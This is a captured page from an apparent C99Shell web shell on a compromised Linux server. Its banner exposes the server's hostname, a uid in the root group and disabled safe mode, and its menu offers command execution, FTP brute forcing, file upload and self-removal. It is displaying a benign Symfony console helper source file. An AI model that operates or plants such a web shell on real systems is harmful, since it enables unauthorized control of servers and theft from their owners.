!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/console/Helper/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SymfonyQuestionHelper.php (3.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Helper;

use 
Symfony\Component\Console\Formatter\OutputFormatter;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Symfony\Component\Console\Question\ChoiceQuestion;
use 
Symfony\Component\Console\Question\ConfirmationQuestion;
use 
Symfony\Component\Console\Question\Question;
use 
Symfony\Component\Console\Style\SymfonyStyle;

/**
 * Symfony Style Guide compliant question helper.
 *
 * @author Kevin Bond <kevinbond@gmail.com>
 */
class SymfonyQuestionHelper extends QuestionHelper
{
    
/**
     * {@inheritdoc}
     */
    
protected function writePrompt(OutputInterface $outputQuestion $question)
    {
        
$text OutputFormatter::escapeTrailingBackslash($question->getQuestion());
        
$default $question->getDefault();

        if (
$question->isMultiline()) {
            
$text .= sprintf(' (press %s to continue)'$this->getEofShortcut());
        }

        switch (
true) {
            case 
null === $default:
                
$text sprintf(' <info>%s</info>:'$text);

                break;

            case 
$question instanceof ConfirmationQuestion:
                
$text sprintf(' <info>%s (yes/no)</info> [<comment>%s</comment>]:'$text$default 'yes' 'no');

                break;

            case 
$question instanceof ChoiceQuestion && $question->isMultiselect():
                
$choices $question->getChoices();
                
$default explode(','$default);

                foreach (
$default as $key => $value) {
                    
$default[$key] = $choices[trim($value)];
                }

                
$text sprintf(' <info>%s</info> [<comment>%s</comment>]:'$textOutputFormatter::escape(implode(', '$default)));

                break;

            case 
$question instanceof ChoiceQuestion:
                
$choices $question->getChoices();
                
$text sprintf(' <info>%s</info> [<comment>%s</comment>]:'$textOutputFormatter::escape($choices[$default] ?? $default));

                break;

            default:
                
$text sprintf(' <info>%s</info> [<comment>%s</comment>]:'$textOutputFormatter::escape($default));
        }

        
$output->writeln($text);

        
$prompt ' > ';

        if (
$question instanceof ChoiceQuestion) {
            
$output->writeln($this->formatChoiceQuestionChoices($question'comment'));

            
$prompt $question->getPrompt();
        }

        
$output->write($prompt);
    }

    
/**
     * {@inheritdoc}
     */
    
protected function writeError(OutputInterface $output\Exception $error)
    {
        if (
$output instanceof SymfonyStyle) {
            
$output->newLine();
            
$output->error($error->getMessage());

            return;
        }

        
parent::writeError($output$error);
    }

    private function 
getEofShortcut(): string
    
{
        if (
'Windows' === \PHP_OS_FAMILY) {
            return 
'<comment>Ctrl+Z</comment> then <comment>Enter</comment>';
        }

        return 
'<comment>Ctrl+D</comment>';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--